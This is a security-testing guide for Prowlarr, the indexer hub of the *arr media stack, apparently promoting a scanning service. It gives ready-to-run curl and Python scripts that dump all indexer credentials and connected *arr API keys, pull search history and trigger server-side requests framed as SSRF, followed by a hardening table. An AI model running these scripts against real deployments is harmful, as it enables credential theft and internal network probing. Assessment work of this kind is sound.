Prowlarr Security Testing: API Key, Indexer Hub Credentials, and *arr Integration

Prowlarr is the centralized indexer management application for the *arr stack, replacing per-application indexer configuration in Sonarr, Radarr, Lidarr, and Readarr with a single hub. This architectural role makes it the highest-value credential target in an entire *arr deployment: compromising Prowlarr's API key gives access to every indexer credential across the whole stack in a single request, rather than requiring separate extraction from each *arr application. Its security assessment covers: Prowlarr's API key in Settings > General controls all indexer configuration including the full list of indexer credentials; the /api/v1/indexer endpoint returns credentials (API keys, passkeys, usernames, passwords) for every configured indexer in plaintext; Prowlarr stores full connection details for all connected *arr applications including Sonarr, Radarr, Lidarr, and Readarr — their API keys are accessible from /api/v1/applications; and Prowlarr's "Test" connection feature for both indexers and applications makes outbound HTTP requests enabling SSRF. This guide covers systematic Prowlarr security assessment.

Table of Contents

  1. API Key and Indexer Credential Extraction
  2. Connected *arr Application Credentials
  3. Test Connection SSRF
  4. Prowlarr Security Hardening

API Key and Indexer Credential Extraction

# Prowlarr — centralized indexer hub with all tracker credentials
PROWLARR_URL="https://prowlarr.example.com"
API_KEY="your-prowlarr-api-key"

# Get host configuration (authentication type, URL base)
curl -s "${PROWLARR_URL}/api/v1/config/host?apikey=${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Auth method: {d.get(\"authenticationMethod\")}')
print(f'Bind address: {d.get(\"bindAddress\")}')
print(f'Port: {d.get(\"port\")}')
" 2>/dev/null

# Extract ALL indexer credentials — the primary credential cache in *arr stacks
curl -s "${PROWLARR_URL}/api/v1/indexer?apikey=${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
indexers = json.load(sys.stdin)
print(f'Total indexers configured: {len(indexers)}')
for idx in indexers:
    print(f'  [{idx.get(\"id\")}] {idx.get(\"name\")} [{idx.get(\"implementationName\")}] enabled={idx.get(\"enable\")}')
    for field in idx.get('fields',[]):
        fname = field.get('name','')
        fval = field.get('value','')
        if fval and isinstance(fval, str):
            sensitive = ['apikey','passkey','password','username','rsskey','cookieheader','cookie']
            if any(s.lower() in fname.lower() for s in sensitive):
                print(f'    CREDENTIAL {fname}: {fval}')
            elif fname.lower() in ['baseurl','url']:
                print(f'    URL: {fval}')
" 2>/dev/null

# Get indexer schema to enumerate all supported tracker types
curl -s "${PROWLARR_URL}/api/v1/indexer/schema?apikey=${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
schemas = json.load(sys.stdin)
print(f'Supported indexer types: {len(schemas)}')
for s in schemas[:20]:
    print(f'  {s.get(\"implementationName\")}')
" 2>/dev/null

Connected *arr Application Credentials

# Prowlarr applications — stores API keys for all connected *arr apps
PROWLARR_URL="https://prowlarr.example.com"
API_KEY="your-prowlarr-api-key"

# List all connected *arr applications with their API keys
curl -s "${PROWLARR_URL}/api/v1/applications?apikey=${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
apps = json.load(sys.stdin)
print(f'Connected applications: {len(apps)}')
for app in apps:
    print(f'  [{app.get(\"id\")}] {app.get(\"name\")} [{app.get(\"implementationName\")}]')
    for field in app.get('fields',[]):
        fname = field.get('name','')
        fval = field.get('value','')
        if fval:
            important = ['baseUrl','apiKey','prowlarrUrl']
            if fname in important:
                print(f'    {fname}: {fval}')
" 2>/dev/null

# Get Prowlarr search history — reveals what content was searched for
curl -s "${PROWLARR_URL}/api/v1/history?pageSize=50&page=1&apikey=${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
records = d.get('records',[])
total = d.get('totalRecords',0)
print(f'History records: {total}')
for r in records[:10]:
    print(f'  {r.get(\"date\",\"?\")} indexer={r.get(\"indexer\")} query={r.get(\"sourceTitle\")}')
" 2>/dev/null

Test Connection SSRF

# Prowlarr test connection — server-side HTTP request to any URL
PROWLARR_URL="https://prowlarr.example.com"
API_KEY="your-prowlarr-api-key"

# Test connection for an indexer triggers server-side HTTP to the indexer URL
# When testing a Torznab/Newznab indexer with a custom baseUrl:
INDEXER_ID=1
curl -s -X POST "${PROWLARR_URL}/api/v1/indexer/test?apikey=${API_KEY}" \
  -H "Content-Type: application/json" \
  -d "{\"id\": ${INDEXER_ID}}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Test result: {d}')
" 2>/dev/null

# Test connection for a *arr application also makes a server-side request
APP_ID=1
curl -s -X POST "${PROWLARR_URL}/api/v1/applications/test?apikey=${API_KEY}" \
  -H "Content-Type: application/json" \
  -d "{\"id\": ${APP_ID}}" 2>/dev/null

Prowlarr Security Hardening

Prowlarr Security Hardening Checklist:
Security TestMethodRisk
All indexer credentials in one endpointGET /api/v1/indexer — returns all configured tracker credentials including private tracker API keys, passkeys, usernames, and passwords for the entire *arr stack's indexer configuration in a single requestCritical
Connected *arr application API keysGET /api/v1/applications — returns baseUrl and apiKey for every connected *arr application (Sonarr, Radarr, Lidarr, Readarr); single Prowlarr key gives all *arr keysCritical
Test connection SSRF for indexers and appsPOST /api/v1/indexer/test or /api/v1/applications/test — triggers server-side HTTP request to the configured URL; can target cloud metadata endpoints and internal servicesHigh
Search and grab history exposureGET /api/v1/history — returns search queries, indexer responses, and grab history; reveals content interests and confirms which private trackers are actively usedMedium
No authentication on API key URL parameterGET /api/v1/indexer?apikey=KEY — API key appears in URL; may be logged in web server access logs, reverse proxy logs, and browser historyMedium

Automate Prowlarr Security Testing

Ironimo tests Prowlarr deployments for the complete indexer credential extraction giving all private tracker API keys and passkeys, connected *arr application API key harvesting (Sonarr, Radarr, Lidarr, Readarr), test connection SSRF for both indexers and applications, search history exposure revealing content interests, authentication bypass when no credentials are configured, and prowlarr.db credential access.

Start free scan